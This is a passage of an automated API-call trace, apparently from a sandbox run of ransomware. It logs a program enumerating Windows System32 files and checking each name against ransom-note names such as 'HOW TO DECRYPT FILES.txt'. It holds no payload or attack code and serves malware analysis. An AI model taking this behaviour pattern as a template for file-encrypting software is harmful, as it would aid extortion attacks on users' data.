cAlternateFileName="")) returned 1 [0144.507] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.507] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fms.dll.mui") returned -1 [0144.507] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fms.dll.mui") returned 1 [0144.507] lstrcmpiA (lpString1="", lpString2="fms.dll.mui") returned -1 [0144.507] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\comdlg32.dll.mui") returned="comdlg32.dll.mui" [0144.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.507] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.508] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fb5784, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xca393b2a, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xca393b2a, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlang.dll.mui", cAlternateFileName="")) returned 1 [0144.508] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mlang.dll.mui") returned -1 [0144.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mlang.dll.mui") returned -1 [0144.508] lstrcmpiA (lpString1="", lpString2="mlang.dll.mui") returned -1 [0144.508] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\fms.dll.mui") returned="fms.dll.mui" [0144.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.508] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.508] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a19a324, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a19a324, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1c0484, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msimsg.dll.mui", cAlternateFileName="")) returned 1 [0144.508] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msimsg.dll.mui") returned -1 [0144.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msimsg.dll.mui") returned -1 [0144.508] lstrcmpiA (lpString1="", lpString2="msimsg.dll.mui") returned -1 [0144.508] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\mlang.dll.mui") returned="mlang.dll.mui" [0144.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.508] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.509] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5f17e3, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcc9114ae, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xcc9114ae, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msprivs.dll.mui", cAlternateFileName="")) returned 1 [0144.509] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0144.509] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msprivs.dll.mui") returned -1 [0144.509] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msprivs.dll.mui") returned -1 [0144.509] lstrcmpiA (lpString1="", lpString2="msprivs.dll.mui") returned -1 [0144.509] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cs-CZ\\msimsg.dll.mui") returned="msimsg.dll.mui" [0144.509] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\cs-CZ\\" | out: lpString1="C:\\Windows\\System32\\cs-CZ\\") returned="C:\\Windows\\System32\\cs-CZ\\" [0144.509] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\cs-CZ\\" | out: pszPath="C:\\Windows\\System32\\cs-CZ\\") returned="" [0144.509] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5f17e3, ftCreationTime.dwHighDateTime=0x1ca041d, ftLastAccessTime.dwLowDateTime=0xcc9114ae, ftLastAccessTime.dwHighDateTime=0x1ca041d, ftLastWriteTime.dwLowDateTime=0xcc9114ae, ftLastWriteTime.dwHighDateTime=0x1ca041d, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msprivs.dll.mui", cAlternateFileName="")) returned 0 [0144.509] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.509] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0144.509] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.509] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscapi.dll") returned 1 [0144.510] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscapi.dll") returned 1 [0144.510] lstrcmpiA (lpString1="", lpString2="cscapi.dll") returned -1 [0144.510] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0144.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.510] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.510] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0144.511] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.511] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscdll.dll") returned 1 [0144.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscdll.dll") returned 1 [0144.512] lstrcmpiA (lpString1="", lpString2="cscdll.dll") returned -1 [0144.512] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cscapi.dll") returned="cscapi.dll" [0144.512] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.512] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.512] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0144.512] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.512] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscobj.dll") returned 1 [0144.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscobj.dll") returned 1 [0144.512] lstrcmpiA (lpString1="", lpString2="cscobj.dll") returned -1 [0144.512] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cscdll.dll") returned="cscdll.dll" [0144.512] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.512] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbba8f3, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9dbba8f3, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x67dd9580, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0144.513] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cscript.exe") returned 1 [0144.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cscript.exe") returned 1 [0144.513] lstrcmpiA (lpString1="", lpString2="cscript.exe") returned -1 [0144.513] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cscobj.dll") returned="cscobj.dll" [0144.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.513] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.513] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f40dd44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x3f40dd44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x3f3757c8, ftLastWriteTime.dwHighDateTime=0x1ca0413, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="csrr.rs", cAlternateFileName="")) returned 1 [0144.513] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csrr.rs") returned 1 [0144.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csrr.rs") returned 1 [0144.513] lstrcmpiA (lpString1="", lpString2="csrr.rs") returned -1 [0144.513] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cscript.exe") returned="cscript.exe" [0144.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.513] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e479b0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4e479b0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x67e4c170, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0144.514] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ctfmon.exe") returned 1 [0144.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ctfmon.exe") returned 1 [0144.514] lstrcmpiA (lpString1="", lpString2="ctfmon.exe") returned -1 [0144.514] PathFindFileNameA (pszPath="C:\\Windows\\System32\\csrr.rs") returned="csrr.rs" [0144.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.514] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0144.514] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ctl3d32.dll") returned 1 [0144.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ctl3d32.dll") returned 1 [0144.514] lstrcmpiA (lpString1="", lpString2="ctl3d32.dll") returned -1 [0144.514] PathFindFileNameA (pszPath="C:\\Windows\\System32\\ctfmon.exe") returned="ctfmon.exe" [0144.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.514] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.515] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62b5293f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62b5293f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x67ee3750, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0144.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.515] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cttune.exe") returned 1 [0144.515] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cttune.exe") returned 1 [0144.515] lstrcmpiA (lpString1="", lpString2="cttune.exe") returned -1 [0144.515] PathFindFileNameA (pszPath="C:\\Windows\\System32\\ctl3d32.dll") returned="ctl3d32.dll" [0144.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.515] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.515] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6013853a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x6013853a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x67f0a850, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0144.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.515] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cttunesvr.exe") returned 1 [0144.515] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cttunesvr.exe") returned 1 [0144.515] lstrcmpiA (lpString1="", lpString2="cttunesvr.exe") returned -1 [0144.516] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cttune.exe") returned="cttune.exe" [0144.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.516] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.516] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac58dd62, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac58dd62, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x284796bc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_037.NLS", cAlternateFileName="")) returned 1 [0144.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.516] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_037.NLS") returned 1 [0144.516] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_037.NLS") returned 1 [0144.516] lstrcmpiA (lpString1="", lpString2="C_037.NLS") returned -1 [0144.516] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cttunesvr.exe") returned="cttunesvr.exe" [0144.516] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.516] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.516] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacde2a2a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacde2a2a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d51c5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10000.NLS", cAlternateFileName="")) returned 1 [0144.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.516] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10000.NLS") returned 1 [0144.516] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10000.NLS") returned 1 [0144.517] lstrcmpiA (lpString1="", lpString2="C_10000.NLS") returned -1 [0144.517] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_037.NLS") returned="C_037.NLS" [0144.517] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.517] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.517] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacde2a2a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacde2a2a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d51c5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x27c22, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10001.NLS", cAlternateFileName="")) returned 1 [0144.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.517] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10001.NLS") returned 1 [0144.517] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10001.NLS") returned 1 [0144.517] lstrcmpiA (lpString1="", lpString2="C_10001.NLS") returned -1 [0144.517] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10000.NLS") returned="C_10000.NLS" [0144.517] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.517] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.517] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace08b89, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace08b89, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d77dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2fc22, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10002.NLS", cAlternateFileName="")) returned 1 [0144.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.517] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10002.NLS") returned 1 [0144.518] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10002.NLS") returned 1 [0144.518] lstrcmpiA (lpString1="", lpString2="C_10002.NLS") returned -1 [0144.518] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10001.NLS") returned="C_10001.NLS" [0144.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.518] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace08b89, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace08b89, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d77dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2b622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10003.NLS", cAlternateFileName="")) returned 1 [0144.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.518] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_10003.NLS") returned 1 [0144.518] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_10003.NLS") returned 1 [0144.518] lstrcmpiA (lpString1="", lpString2="C_10003.NLS") returned -1 [0144.518] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_10002.NLS") returned="C_10002.NLS" [0144.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.518] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xace2ece8, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xace2ece8, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x29d77dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_10004.NLS", cAlternateFileName="")) returned 1 [0144.519] PeekMessageA (in: 